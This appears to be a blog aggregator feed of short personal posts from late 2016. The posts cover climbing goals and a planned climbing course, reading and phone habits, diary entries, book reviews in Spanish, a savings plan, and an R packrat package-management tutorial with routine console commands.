Last month I sent my first 5.12d outside. A few days later I sent my first 5.13a in the gym. I can do all the moves on another 5.13a, all but one move on a 13c, and almost all of them on a 13d. Due to the inflation of indoor grades compared with outdoor grades, I’m thinking the indoor 13d might be a real 5.13a in difficulty.

Basically, I’m breaking into solid indoor 5.13 territory, in part because I’m getting better at remembering my sequences.

I’m still trying to figure out what my weaknesses are, in order to train my weakness instead of my strength. I’ve historically enjoyed training contact strength, but I believe I’m a bit short on movement strength, and absolutely terrible with technique. So, I am trying to train my technique.

Get “The Climber’s Guide” rolling

I’m building out an email drip campaign that concludes with a hard sale(after delivering amazingly valuable guides), pointing people to a sales page (er, I need to write that, too), for the course.

I’ve worked with some lead climbers in person, working through the basics of the program, and I’ve gotten great feedback. Things like “ life changing” and “my climbing will not be the same”.

I’m working on working with a larger group of people, and I’d like to get some video from them doing the exercises, so others can follow along on their own, but it’s really encouraging, the kind of feedback I’m getting.

I’m gonna launch with just the course + video at $67, with perhaps a more expensive offer at ~$197 including lots of my dedicated time, 1:1. (I could see doing face-time sessions or something, while the climber/belayer are doing the exercises). That will be partially to take advantage of the price anchoring effect, partially because some people will know they want the high-touch version, and $200 is nothing in comparison to what they’ll get in return.

Misc

Random self-reflections.

Phone Usage

I’ve disabled my Twitter account. I changed the password to a random string, and then wrote an email to my future self with the password enclosed. Delivery date is sometime in August 2017. I know I could force a password reset, but knowing the password is coming, and introducing friction to the system makes me pay way less attention to the app.

I deleted Instagram as well.

Both of these changes have helped me spend a LOT less time on my phone every day.

Screenshot thanks to PhoneUsage app (Android). It’s gamified not spending time on my phone. (Moment for iPhone looks like a nice equivalent.)

Reading

I’m building in even more reading time to my schedule every day too. It’s stupid, but I sorta-accidentally set a goal of reading 100 books this year. I’m at 62 books and no where close to hitting the goal of 100, (I had a three-month period where I read very little, for some reason) but I think I’m aiming to clear 75 books by end-of-year. I read about 50 last year, and plan on reading many fewer next year.

My effort to read 100 has made me read books that I would otherwise not have read. If it’s short, and I get 30% of the way through and decide I don’t want to finish, instead of stopping reading it (like I would normally do) I sometimes find myself trying to finish it. This is a bad use of time, but… oh well.

Trumped in SF

Avy Faingezicht — Wed, 09 Nov 2016 02:00:00 GMT

It has been a crazy few months. Yesterday and today were rough days. Tonight, as I was preparing dinner at Hannah's, we suddenly heard a ton of noise outside. We knew it was a protest, and decided to go see the what was happening around 24th Street BART. We ended up walking all the way to City Hall. All ages, all races, all genders. People cried. People hugged strangers. People empathized. How amazing is San Francisco?

2016.11.08

A Holding Company — Wed, 09 Nov 2016 02:00:00 GMT

woke up in a flight basically. landed drove back, moved tatami mats inside and went to vote. important important election - don’t think my vote will matter much in califoria.

ran into gail, our landlord, at the voting booth, handed her the checks we owed them for rent.

Don’t build cockpits, become a coach

Bytepawn - Marton Trencseni — Wed, 09 Nov 2016 01:00:00 GMT

I used to think that a good analogy for using data is the instrumentation of a cockpit in an airliner. Lots of instruments, and if they fail, the pilot can’t fly the plane and bad things happen. There’s no autopilot for companies. The problem with this analogy is that planes aren’t built in mid-air. Product teams and companies constantly need to build and ship new products.

The Walking Dead: Season 7

🦉 olshansky 🦁 — Wed, 09 Nov 2016 00:46:12 GMT

Olshansky's review of The Walking Dead: Season 7

Podcast Roster

Pete's Points — Tue, 08 Nov 2016 21:53:02 GMT

Here's a snapshot of podcasts I'm checking out these days.

Node Up for all things node.js
The Changelog Open source in general. Great podcast.
The Cognicast From Cognitect, the company behind Clojure and Datomic. I don't do any clojure work currently but this interview-style show is always full of enlightened discussion and highly interesting.
JavaScript Air no longer active but lots of good episodes to review. I was a guest recently.
JS Jabber
The Freelancer's Show Panel discussions on freelancing. I liked some of the earlier episodes more than the more recent stuff, but it's a good source of exposure to others' experiences freelancing
Soft Skills Engineering only recently started listening to this but I'm hoping to learn from it
The Web Platform Podcast A bit more front-end focused so I cherry pick episodes that seem interesting
Software Engineering Radio

Thoughts on used bicycles

David Schlachter — Tue, 08 Nov 2016 19:00:00 GMT

Things I look for when choosing or improving a bicycle.

In Search of the Best Net Promoter Score Software

Sam Solomon — Tue, 08 Nov 2016 02:00:00 GMT

What is the best Net Promoter Score software? After spending time researching several NPS survey tools, we’ve got some answers.

The Topology of Shakespearean Social Networks

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Mon, 07 Nov 2016 22:58:52 GMT

In a previous article, I have already talked about the motivation behind analysing social networks of Shakespeare’s plays. Since then, I have pursued this subject somewhat further. In particular, I took some time to formulate a more methodical analysis approach.

The result is a nice short paper, titled ‘Shall I compare thee to a network?’—Visualizing the Topological Structure of Shakespeare’s Plays. I was very honoured to present this at the 2016 Workshop on Visualization for the Digital Humanities at IEEE Vis 2016. It was a great venue with lots of interesting papers and I urge you to take a look at the list of submissions.

Our paper follows the basic strategy outlined in the previous blog post. Hence, we first extract a co-occurrence network between characters of a play is being extracted. There are numerous ways of doing that, and each different way influences the structures that may be detected in a subsequent analysis step. In the paper, I present two different weight schemes. One is based on the amount of speech uttered by each character, the other one measures the point in time at which characters start to interact with each other.

The co-occurrence network is then subjected to a topological analysis based on persistent homology. Basically, we consider the network to grow in accordance to the weights. This permits us to treat it as a graph-based filtration, which in turn means that we may calculate persistence diagrams and, from that, derive a measure of dissimilarity. The interesting thing here is that this approach results in well-defined distances between individual plays—meaning that we can measure structural differences and structural similarities.

The paper contains some results that appear to indicate the utility of this approach. Without further training, our algorithm is capable of figuring out that All’s Well That Ends Well is a comedy that is structurally extremely dissimilar to all remaining comedies. This is interesting, insofar as this play is considered to be one of Shakespeare’s problem plays.

In the paper, we describe more results of the same ilk. I have made the networks available on GitHub, where I also plan on uploading code for calculating the dissimilarity measure.

El Nombre del Viento

GeekWare - Daniel Pecos Martínez — Mon, 07 Nov 2016 08:00:50 GMT

Asesino, músico, mendigo, estudiante, ladrón, mago y héroe: ésta es la verdadera historia de Kvothe. Tras soportar los cotilleos, rumores y conjeturas que las personas hicieron sobre su vida, en El Nombre del Viento se narra las verdaderas vivencias de su auténtica y dificultosa existencia en el mundo.

Se trata de una novela llena de fantasía escrita por el estadounidense Patrick Rothfuss, su primera edición fue en 2011 y hoy en día cuenta con muy buenos comentarios de críticos en todo el mundo. Este libro ganó el Premio Pluma al mejor libro en el género de literatura fantástica, lo cual representó un impulso para que su autor se dedicara con más pasión a la escritura.

“He recorrido de noche caminos de los que otros no se atreven a hablar ni siquiera de día. He hablado con dioses, he amado a mujeres y he escrito canciones que hacen llorar a los bardos. Me llamo Kvothe. Quizá hayas oído hablar de mí.”

Después de tanto, en esta historia Kvothe narra la verdad sobre sí mismo. Ante todo lo que ha pasado, siempre debe haber un comienzo: su infancia con sus padres en una troupe. Durante sus años de crecimiento y gracias a su familia, se encuentra constantemente relacionado con la actuación, la música, los juglares y la acrobacia.

Debido a este ambiente artístico donde pasó la mayor parte de su vida, Kvothe se convirtió en un niño con mucho talento para la música y los cuentos, además todos lo conocían como una persona diplomática, alegre y muy servicial.

Viajé, amé, perdí, confié y me traicionaron

El nombre del viento cuenta de manera detallada los años de Kvothe malviviendo como ladrón en la gran ciudad, cometiendo pequeños y grandes crímenes que le dan rumbos inesperados a la historia. Mediante pasan los años, el protagonista conoce a distintas personas que se vuelven parte importante de la historia.

Después de distintos retos y acontecimientos, el protagonista de esta historia viaja a la universidad, un reconocido centro de educación mágica donde lograr encontrar muchas de las respuestas que había estado buscando hacía tanto tiempo; este centro de formación es para personas con dinero y poder adquisitivo, lo que le dificulta su aprendizaje y su estadía en el lugar.

“He robado princesas a reyes agónicos. Incendié la ciudad de Trebon. He pasado la noche con Felurian y he despertado vivo y cuerdo. Me expulsaron de la Universidad a una edad a la que a la mayoría todavía no los dejan entrar”

El libro tiene dos líneas temporales diferentes: el pasado narrado por Kvothe, basados en sus recuerdos y vivencias memorables; y el presente, narrado en tercera persona. La novela pese a tantos acontecimientos inesperados, se desarrolla en un solo día.

Desde su lanzamiento, esta historia ha causado un impacto positivo en los críticos literarios y los amantes del género fantástico; finalmente, después de tantas especulaciones y rumores, en el nombre del viento se narra los sucesos reales y la verdadera historia de Kvothe.

Plan de ahorro personal

GeekWare - Daniel Pecos Martínez — Mon, 07 Nov 2016 07:45:47 GMT

Tras unos días de análisis e introspectiva financiera, he conseguido detallar cuáles son mis gastos previsibles mes a mes, por lo que creo que me encuentro en situación de pasar a la siguiente fase: definir un plan de ahorro personal.

Voy a optar por un plan bastante agresivo, puesto que mi colchón actual está completamente deshinchado y esto es algo que me hace sentir poco seguro. Tras hablarlo con mi mujer, hemos decidido apretarnos un poco el cinturón con el fin de poder corregir esta situación. Así que nos hemos fijado como objetivo ahorrar el 25% de nuestro salario cada mes. Una vez alcancemos la cantidad de 2000€ en líquido, el resto de los futuros ahorros los invertiremos en bolsa a largo plazo y plazos fijos. No tengo todavía claro en qué porcentaje, pero todavía tengo tiempo disponible para pensarlo.

Comprobando el balance financiero personal que desarrollé, durante 5 de los 12 meses nuestro disponible mensual se queda por debajo de este 25% del salario, a veces por mucho y otras veces por menos. Para los otros 7 meses, por lo normal el disponible es bastante mayor al porcentaje de ahorro, por lo que espero poder compensar unos meses con otros. ¿Cómo? Teniendo unos 2000€ líquidos siempre en cuenta, de forma que en los meses que el ahorro del 25% se cubra íntegramente con el salario del mes, hincharé el colchón con el resto disponible en en líquido para poder complementar el salario de los meses más duros y así conseguir la meta del 25% todos los meses.

Siguiendo el objetivo inicial de esta página, voy a tratar de publicar de forma periódica (seguramente trimestral) un pequeño análisis de cómo van estos objetivos, y ver cómo de cerca o lejos me encuentro de esta meta de ahorro.

Lo primero: reducir gastos superfluos, que gracias al balance financiero es muchísimo más fácil identificarlos ahora que cuando no disponía de esta herramienta. Además me permite focalizar esfuerzos en aquello que me va a generar un mayor retorno.

¡Manos a la obra!

Clean Tea - Part III

Craig Pardey — Mon, 07 Nov 2016 02:00:00 GMT

This is a continuation of my post about clean tea, except this time I analysed the offerings from Tealyra.

Tealyra by the numbers:

490 teas (excluding kits and samplers)
175 contain sugar and/or flavourings
187 caffeine-free

So I filtered the list to only show teas with:

No caffeine
No sugar
No stevia
No flavourings

86 teas on the Tealyra® menu pass my filter for what I would consider to be “clean” which makes Tealyra the best of the three that I’ve looked at so far. Overall the offerings from Tealyra are pretty decent once you filter out the ones with sweeteners and/or flavourings however I felt overwhelmed by the sheer number of options.

How to Stop R Projects and Scripts Breaking

Luke Singham — Mon, 07 Nov 2016 02:00:00 GMT

A how-to in getting started with Package Management in R

The problem: Let's say you coded a project in R in 2014 using the package dplyr and you called the project 2014project. Over time packages get updated, sometimes changing syntax and function names, let's say some major syntax changes occurred in 2015 to dplyr and you used the latest version of dplyr in other projects in 2015. Now you come to 2016 and you want to re-run the code in the 2014project, but you find a bunch of errors because in 2015 dplyr had those syntax changes, such that the syntax you used in 2014 no longer computes. Now for the solution...

R scripts breaking over time is annoying for anyone, but it's worth highlighting that organisations using proper package management will significantly decrease their costs in the form of maintenance time spent by developers, data scientists and data analysts fixing projects broken due to changes in package dependencies. In contrast to the Python community who seem very familiar with their virtualenv package management, the R community doesn't seem to have widely adopted the practice. In the data science world, I attribute this difference between the R and Python communities to Python coming out of the computer science discipline and R coming from the statistics discipline. If you are an organisation heavily using R, you have a lot of productivity to gain from the adoption of package management by your R developers.

Packrat #

> readLines(system.file("DESCRIPTION", package = "packrat"))[c(3,9,10)]
[1] "Title: A Dependency Management System for Projects and their R Package"
[2] "Description: Manage the R packages your project depends on in an"
[3] "isolated, portable, and reproducible way."

Getting Started #

To get the RStudio niceties/integrations it seems neccessary to treat your project folder as an R Project. I've created a new project /testpackrat2 and with the latest RStudio you should be able to select both git and packrat to be initialised. This runs the packrat::init() function to enter packrat mode, takes a snapshot of the package dependencies (of which there are currently none) and places the binaries in the project folder under testpackrat2/packrat/src/; finally init() runs restore() to apply the latest snapshot to the project folder. R will restart once this process is finished.

To double check packrat has been initialised properly run:

# Check I am in the right directory
> getwd()
[1] "/Users/lukesingham/Projects/testpackrat2"

# See if packrat is working
> packrat::status()
Up to date.

You should also notice the RStudio integration in the packages area, where it will show your project version against that which Packrat has the binary for and the source of that binary:

For test purposes I created script.R with only one package.

# Create script
> system("echo 'library(stringr)' >| script.R")

# Confirm project contents
> system("ls")
packrat
script.R
testpackrat.Rproj

If I open script.R in RStudio and try and load the library this is the expected behaviour:

> library(stringr)
Error in library(stringr) : there is no package called ‘stringr’

I have stringr installed on my system, but now I am in an isolated packrat project which is only reading from the project folders list of packages. Now to run the packrat commands to snapshot() the addition of stringr to the project and install it ready for use in the project.

> packrat::status()

The following packages are referenced in your code, but are not present
in your library nor in packrat:

    stringr

You will need to install these packages manually, then use
packrat::snapshot() to record these packages in packrat.

# Well I do have stringr in my library, anyway...
# now to take a snapshot
> packrat::snapshot()

Adding these packages to packrat:
             _
    magrittr   1.5  
    stringi    1.1.2
    stringr    1.1.0

Fetching sources for magrittr (1.5) ... OK (CRAN current)
Fetching sources for stringi (1.1.2) ... OK (CRAN current)
Fetching sources for stringr (1.1.0) ... OK (CRAN current)
Snapshot written to '/Users/lukesingham/Projects/testpackrat2/packrat/packrat.lock'

# Now to install/'restore' those sources to the snapshot just taken
> packrat::restore()
Installing magrittr (1.5) ...
 OK (built source)
Installing stringi (1.1.2) ...
 OK (built source)
Installing stringr (1.1.0) ...
 OK (built source)

It's probably worth pointing out what packrat is doing to your library path, particularly when you go to install new packages in your project.

# Turn packrat off
> packrat::packrat_mode()
Packrat mode off. Resetting library paths to:
- "/usr/local/lib/R/3.2/site-library"
- "/usr/local/Cellar/r/3.2.3/R.framework/Versions/3.2/Resources/library"

# Turn packrat back on
> packrat::packrat_mode()
Packrat mode on. Using library in directory:
- "~/Projects/testpackrat2/packrat/lib"

So as long as you are in packrat_mode, when you run install.packages() or remove remove.packages() it will only be modifying the project testpackrat2/ folder.

Existing Project with Out-Of-Date Packages #

I want to test the scenario where I have existing projects using old versions of packages. To do this I ran:

# Find old packages
old.packages()
>             Installed     Built   ReposVer
lubridate     "1.5.6"       "3.2.3" "1.6.0"
htmlwidgets   "0.6"         "3.2.3" "0.7"

I then created a folder with these packages, to simulate an old project that I want packrat to manage.

mkdir testpackratOutofDatePackages
echo "library(lubridate); library(htmlwidgets)" >| testpackratOutofDatePackages/oldScript.R

Now go to RStudio and open the existing project testpackratOutofDatePackages. Click on File > New Project > Existing Directory

Unfortunately there is not an option to init packrat as part the process. So...

> packrat::init()
Initializing packrat project in directory:
- "~/Projects/testpackratOutofDatePackages"
... (edited down the consolte printout)
Fetching sources for htmlwidgets (0.6) ... OK (CRAN archived)
Fetching sources for lubridate (1.5.6) ... OK (CRAN archived)

Ok great, it fetches the old binaries. Now let's test upgrading these packages and then reverting back to the initial project state.

> install.packages("htmlwidgets") # v0.7
Installing package into ‘/Users/lukesingham/Projects/testpackratOutofDatePackages/packrat/lib/x86_64-apple-darwin15.2.0/3.2.3’ ...
* DONE (htmlwidgets)

So it seems packrat auto snapshots the project, such that I couldn't run restore() and return to htmlwidgets v0.6. Let's try that again without autosnapshot and with my out-of-date lubridate:

# Turn off auto.snapshot
> packrat::set_opts(auto.snapshot=FALSE)

# Check status
> packrat::status()
Up to date.

# Now try updating lubridate
> install.packages("lubridate")
DONE

> packrat::status()

The following packages are out of sync between packrat and your current library:
                packrat   library
    lubridate     1.5.6     1.6.0

Use packrat::snapshot() to set packrat to use the current library, or use
packrat::restore() to reset the library to the last snapshot.

# Return to old version of lubridate
> packrat::restore(overwrite.dirty=T)

Downgrading these packages in your library:
                 from      to
    lubridate   1.6.0   1.5.6

Do you want to continue? [Y/n]: Y
Replacing lubridate (downgrade 1.6.0 to 1.5.6) ...  OK (built source)

Conclusion #

By default packrat auto.snapshot my project when I updated a package. Crucially, this meant I could not use packrat::restore() because I was already up to date. Of course, if I had been using git and making commits before and after, then there wouldn't have been a problem. However, without git, running packrat::restore() to downgrade a package requires the overwrite.dirty=TRUE option and only seems possible if you switched off auto.snapshot. I'd highly recommend turning it off anyway, as the manual update will allow for a better understanding and control over packrat.

Other Resources #

2016.11.07

A Holding Company — Mon, 07 Nov 2016 02:00:00 GMT

Another day of haze. not feeling great. R also not feeling great. P and N uncle left today..

Another web development awesome list

Muffin Man — Mon, 07 Nov 2016 02:00:00 GMT

Update November 2017 #

Unfortunately, I'm not maintaining this repo anymore. Still, there are couple of really useful links on it.

People are making awesome lists on the Git these days.

I'm spamming our company's slack dev channel, and someone suggested to put all of those links in one place. So I created one awesome list as well.

Awesome web development

Feel free to contribute!

Controlled and uncontrolled form inputs in React don't have to be complicated

Gosha Spark — Mon, 07 Nov 2016 02:00:00 GMT

Google OnHub Feature Requests

Justin Garrison's Homepage — Mon, 07 Nov 2016 02:00:00 GMT

Large scale DDoS are not rare occasions anymore. What we need to help protect the Internet is to make home routers

2016.11.06

A Holding Company — Sun, 06 Nov 2016 02:00:00 GMT

woke up feeling quite terrible. headache,fever, weakness and stomach issues. slept most of the day, woke up to eat and drink a little.

2016.11.05

A Holding Company — Sat, 05 Nov 2016 02:00:00 GMT

don’t remember much of this day, woke up late, n uncle arrived in the day time. hung out with everyone at home, got a feel for what’s next with regards to nani’s condition. p,m and r went to a party, we stayed home and relaxed. m looked happy, and seemed to be distracted for the moment.

How to avoid Go gotchas

divan's blog — Fri, 04 Nov 2016 14:25:35 GMT

TL;DR by learning internals

a gotcha is a valid construct in a system, program or programming language that works as documented but is counter-intuitive and almost invites mistakes because it is both easy to invoke and unexpected or unreasonable in its outcome (source: wikipedia)

Go programming language has some gotchas and there is a number of good articles explaining them. I find those articles very important, especially for the newcomers in Go, as I see people run into those gotchas every now and then.

2016.11.04

A Holding Company — Fri, 04 Nov 2016 02:00:00 GMT

Did some work, but mostly prepped to leave for stl. feeling guilty, that I’m not putting in the amount of work I should. reached stl late, seemed normal, saw s after many years, a fine man.

How to Quickly Switch to a Different Month or Year in the Windows 7 Calendar

Justin Garrison's Homepage — Fri, 04 Nov 2016 00:52:45 GMT

Windows 7 gives the ability to quickly pull up a calendar from the taskbar by clicking on the time.

E and Z Notation For Alkenes (+ Cis/Trans)

Master Organic Chemistry — Thu, 03 Nov 2016 19:40:02 GMT

E and Z Notation For Alkenes Unlike C–C single bonds, C–C double bonds can’t undergo rotation without breaking the pi bond One consequence of this

Meta Documentation

blog.harterrt.com — Thu, 03 Nov 2016 09:00:00 GMT

You'll see a lot of posts coming down the line on documentation.

We surveyed our customers last quarter and asked where our data pipeline was lacking. It turns out the most painful part of using our data pipeline, is reading the documentation. I've been interesting in learning how to write …

Why Markdown?

blog.harterrt.com — Thu, 03 Nov 2016 09:00:00 GMT

Better Process
Better Tools
- One less tool
The documentation sits next to the code
- Syncronization
- Discoverability

Last week I finished a pull request that moved some documentation from mozilla's wiki to a github repository. It took a couple of hours of editing and toying with pandoc to get right, but …

Día De Los Muertos

Avy Faingezicht — Thu, 03 Nov 2016 02:00:00 GMT

Living in San Francisco means having a wealth of cultural events to enjoy. Due to the large Latin population, the Día De Los Muertos celebration in The Mission was one I didn't want to miss. Since most people in Costa Rica don't celebrate the holiday, the traditions were unfamiliar to me, and it was surprising to see how openly people honor their loved ones. I went with the intention to stay for ten minutes, and ended up walking around for almost two hours.

2016.11.03

A Holding Company — Thu, 03 Nov 2016 02:00:00 GMT

Met with B from CoC meetup. Also ran into C from ZP. It was a little awkward, as she hadn’t responded to my emails yet. Selling is tough - these projects aren’t going to pan out for weeks, maybe months. Gotta keep going though.

Also got bad news about Nani. more cancer has been found. We decided to fly out tomorrow to see M, who was very shaken. got flights for friday evening.

Words to Avoid

Pete's Points — Wed, 02 Nov 2016 17:19:12 GMT

I commonly groan as a new product, service, protocol, or format is launched with one of my trigger words in the name. To save you the effort of truly considering whether this word is justified in the name of your thing, here's a ready-made list of words that do not belong in the name of your thing:

simple
lightweight
easy
standard
universal
permanent

As a bonus, it is very likely that these words do not belong in the name of your thing, so only include them if they truly describe your thing:

automatic

Canción de Hielo y Fuego: Juego de Tronos: 1

GeekWare - Daniel Pecos Martínez — Wed, 02 Nov 2016 08:00:06 GMT

Juego de Tronos (Game of Thrones) es una de las franquicias más exitosas de los últimos tiempos que combina batallas épicas, dinastías poderosas y todo un mundo místico que se cierne sobre sus personajes, llenos de emociones netamente humanas. La historia se desarrolla en un mundo ficticio medieval, en un continente llamado Poniente, donde se desenvuelve una historia llena de sucesos impresionantes, increíbles personajes y desenlaces totalmente inesperados. Se trata de Canción de Hielo y Fuego, escrita por George R. R. Martin, una novela que ha sido traducida a más de 30 idiomas desde su lanzamiento. El escritor comenzó a crear esta obra en 1993 y tiempo después, en 1996 fue publicado su primer tomo.

Después de un largo verano, los Siete Reinos se ven amenazados por un invierno devastador. El señor de Invernalia, Lord Eddard Stark debe emprender un viaje hacia Poniente con su viejo amigo el rey Robert Baratheon, abandonando sus dominios en Invernalia para ocupar el cargo de Mano de Rey en la capital.

Lord Stark en búsqueda de respuestas a una serie de intrigas sobre el reinado de Poniente, pone en riesgo su vida y la vida de sus familiares más cercanos. Sin embargo, detrás de distintos sucesos la historia se basa en tres líneas argumentales: la creciente amenaza de los Otros y los salvajes, la temida guerra civil dinástica por el control de la capital y el viaje de Daenerys Targaryen, la hija de un exiliado rey.

Estas tres historias son relacionadas de manera constante durante toda la narración de canción de hielo y fuego, transcurriendo de acuerdo a una serie de sucesos inesperados que cautivan a cualquier lector.

“La noche es oscura y alberga cosas aterradoras”

Los otros o conocidos en el Pueblo Libre como caminantes blancos, son criaturas que protagonizan de manera indirecta esta historia, forman parte importante de la historia y representan la mayor y más temida amenaza de los Siete Reinos.

La historia es narrada en tercera persona, permitiéndonos ver mediante los ojos y la posición de distintos personajes. En muchas escenas existen muestras claras de cómo la guerra por el poder y la conquista puede destruir familias y acabar con la vida de personas inocentes.

En la historia de canción de fuego y hielo, existen múltiples casas representadas con diferentes emblemas, sin embargo las 4 casas más importantes de toda la historia son: la casa Stark, la casa Baratheon, la casa Targaryen y la prestigiosa casa Lannister.

“Cuando se juega al juego de tronos sólo se puede ganar o morir. No hay puntos intermedios”

Al transcurrir la narración, se puede apreciar tanto la unión como el enfrentamiento entre estas y las demás casas nobles de Poniente; Canción de Hielo y Fuego no sólo se basa en extensos e increíbles personajes sino también en cambios de trama repentinos y violentos, argumentos políticos bien desarrollados y un manejo constante de géneros como la ciencia ficción, la fantasía erótica y el drama.

Esta novela es considerada como una de las obras más innovadoras de su género y ha logrado captar la atención de millones de personas en todo el mundo, incluso para el 2013, esta serie de novelas había alcanzado a más de 25 millones de personas.

Links - November 02, 2016

Avy Faingezicht — Wed, 02 Nov 2016 02:00:00 GMT

Good Support

Craig Pardey — Wed, 02 Nov 2016 02:00:00 GMT

I recently had an unexpectedly great support experience from a company that one does not usually associate with excellent customer support: Microsoft.

I had been running Windows 10 as a VirtualBox VM on my Linux laptop for quite some time. I needed Windows for a few things like my accounting software (Quickbooks) and remote access to the office but the setup wasn’t working as cleanly as I’d like, particularly around support for external devices like my Garmin Forerunner GPS watch so I decided to switch to a dual boot.

2016.11.02

A Holding Company — Wed, 02 Nov 2016 02:00:00 GMT

today got a late start. had a webinar in the morning. I’m hugely optimistic (hopeful? desperate?) when it comes to webinars, thinking I’m going to learn so much from them. most of the time I end up tuning them out.

not sure what I’m doing wrong. picking something and implementing it?

also, sidenote, I wonder if other people are this obsessed with making a business/freedom? I feel I have very little bandwidth to want to think about anything else.

From Vector Space Models to Recommender Systems

Playground — Wed, 02 Nov 2016 02:00:00 GMT

Vector Space Models (VSM)

October 2016 Review

Josh Thompson — Tue, 01 Nov 2016 02:00:00 GMT

October 2016 Review

This month’s review. In another few days I’ll post the goals for November.

I had three goals for October, as of about 12 days ago:

October goals:

Programming

I wanted to finish a certain Rails Tutorial, and move on to the next one. This project I made zero progress on. But I’m accepted into the Turing School’s January 2017 cohort, and have approval from my company for a long (unpaid) sabbatical for the course.

So, I’m making progress, and as importantly, I’ve got big pieces of this squared away over the next few months.

I’d like to reach a point of stability and completeness on my next bullet point (the climber’s guide) before throwing myself into programming training.

Climber’s Guide Course

I made good progress here. I finally got the website I’m using into a viewable form (the old theme I had was hideous).

I updated some of the email collection forms (there’s now a sidebar, ready to collect someone’s email address) and I linked to a “best of” sidebar section, linking to some useful articles.

I added an “about me” and “contact me” page, and then most importantly, stripped out everything else. There’s no footer, there’s no public meta data about every post, there’s no stupid nav bar that every theme shoves down your throat.

www.climbersguide.co is, from a visual perspective, boring. And I wouldn’t take it any other way.

I started fleshing out a bunch of blog posts, either moving over things I’ve written for this website, or other ideas I had floating around in my head.

This is the requisite leg-work to get the website ready to receive traffic, and hopefully capture (in the form of email subscribers) some of those views.

The email list and drip campaigns is where all the good stuff is, so I’ll turn my attention to that next month.

Climbing 5.13

Made great progress here. Just a few hours ago, I sent Anarchitect (5.12d).

I got it on my seventh attempt, though I came extremely close (slipped off the last hold) to sending it on my fourth attempt.

This was the most work I’ve put into a climb ever. It’s also the hardest grade I’ve sent, and I’m not sure if I ever actually climbed 5.12c. (I’ve been on plenty of them, but usually don’t give climbs more than one or two attempts…)

Some of the lessons:

Lesson One: There is an insane amount of optimization you can do in a route . My first attempt on this climb, I fell on almost every move, from the first bolt to the last.

Lesson Two: I’m horrible at remembering my own beta. A friend of mine who has an excellent ability to recall his own beta, and others, and adjust it on the fly, upon seeing my climbing said “It’s as if every time you climb a route, it’s your first time.”

This inability to recall beta has been holding me back for a while. My on-sight ability has gone up and up, but my ability to project a route is horrific.

So, this time around, I made a “beta map”. I just jotted down every move of the climb, and added some notes about my sequences. This is what mine looked like

The process of recalling enough of my movement to make this map, as well as playing back through every move to recall the ideal sequence, is exactly what I need. As I climbed the route again after making it (the next day) I was comparing every move I made with what I’d outlined in the map.

In almost every instance, I had recalled the correct movement. My map worked.

So, I’ll keep making these maps. I hope to improve my “beta recall”, and even on climbs where I don’t make the map, I’ll become more perceptive of my own movement up the route.

Lesson Three: It’s important to try hard. I almost sent the route my fourth attempts, but I fell off because I simply didn’t try on the last move. This is a horrible habit I’ve picked up in my climbing, and it’s sneaky. See, you can always try to be stronger, or climb more efficiently, and these are good things, but at the end of the day - if you can try really really hard, you can make more progress than someone who doesn’t.

Lesson Four: I’ve gotten better at rock climbing in the last few years. It’s been ages since I’ve had a solid indicator that I’ve improved as a climber. In the last five years, I’ve spent almost three of them not climbing regularly, and just trying to train a bit on my own. Due to seasons and travel, all of my “progress” has been inside, on gym routes. Gym routes have little relationship to outdoor climbs, and they’re not internally consistent or consistent across time.

So, I know I’ve been feeling stronger, but I didn’t have proof. Now I do. I’m going to aim for a few more 5.12ds and 12cs, but I think I’m going to hop on Sonic Youth next. It might be a “soft” 5.13a, but supposedly some broken holds in 2010 made it solid for the grade.

November goals, coming soon.

Writing

Avy Faingezicht — Tue, 01 Nov 2016 02:00:00 GMT

So it's a bit over a year since I wrote about writing. Has anything changed? Well, yes. I initially thought I'd be sharing many more blog posts about my own thoughts, but for some reason those all end up in half-baked Google docs. Hitting publish is hard. It is much easier to write one or two lines of commentary on someone else's writing, than to produce any essay worth sharing. But there is a gray area right next to content creation: > "Creation versus consumption" is such a narrow way to frame thinking about computing. I spend half of some days routing. > > — Benedict Evans (@BenedictEvans) October 30, 2016 Routing people to worthwhile content is possibly as important these days as creating the content itself - isn't that what Facebook and Twitter's algorithms do, after all? - and between a few pieces of content, mainly photos, and a blog post here and there, I went from 0-5 daily sessions to 20-40 daily sessions on this site in the last year. Here's to more writing.

Photo from Unsplash.com

2016.11.01

A Holding Company — Tue, 01 Nov 2016 02:00:00 GMT

today was a bit on the light side. had a good conversation with p on whether (and how) to pursue stone vs software business. it’s not easy being in his position. he’s invested, both personally and professionally. I’m thinking I’ll set a definitive cutoff date e.g. 1 year to get this going (or not).

found a new place to work - whole foods cafe. wonderful food, open early, open late, electrical outlets (some).

Jessica Hische: Lettering Artist & Author

Sam Solomon — Tue, 01 Nov 2016 02:00:00 GMT

Jessica Hische is a lettering artist, designer and author. Her clients include Nike, NPR, New York Times, Samsung and many more.

Android Test Driven Development

Umar Nizamani | RSS Feed — Mon, 31 Oct 2016 23:44:06 GMT

Having run a small shop for years with only a handful of developers collaborating together on a project it has been a great experience…

Noisevember 2016

infrequent oscillations — Mon, 31 Oct 2016 11:20:07 GMT

Having singularly failed with all of Juneathon, Inktober and Blogtober, I shall be picking myself up, dusting myself down, and having another crack at Noisevember.

Event Sourcing: What properties should Domain Events have?

Daniel Little Dev — Mon, 31 Oct 2016 10:46:13 GMT

What I learned since last time A while ago I wrote about Generating Read Models with Event Sourcing where I suggest adding derived…

Napa

Avy Faingezicht — Mon, 31 Oct 2016 02:00:00 GMT

Hannah's grandma was in town this weekend and we drove up to Napa. The art, the wine, the landscapes, and the food, were all wonderful. We enjoyed our time there.

2016.10.31

A Holding Company — Mon, 31 Oct 2016 02:00:00 GMT

Monday started off with checking out of our old apartment. It was bitter-sweet. Had kind of gotten attached to the place, and hadn’t realized it. Had really enjoyed being close to the water.

Went to Home Depot to get blinds after. The ones that R wanted were 10-15x the basic blinds! Didn’t know blinds did that!

Decided on curtains instead. While the typical man might be bored (honestly, I thought I would be too), but instead I felt a vested interest in what our home looks like, surprise surprise.

My two cents on the new MacBook Pro

Muffin Man — Mon, 31 Oct 2016 02:00:00 GMT

After the recent Apple keynote, it seems that community is not happy with the new MacBook Pro. Well, I'm not either.

As for iPhone/iPad, those are toys, I could use pretty much any other modern smartphone/tablet. But MBP is my working horse, and I was always saying that it doesn't matter how much it costs, I would always get it.

Things have changed...

MacBook Pro is now a consumer machine #

New MacBook Pro really lacks the pro part.

I do understand that companies revolve around profit, and it seems that we (developers/geeks) are not Apple's target audience anymore. It is hard to say if we ever were. I'm not mad, just disappointed. There is so many people out there with the same problem, and I really hope that someone from Apple will try to tackle our issues.

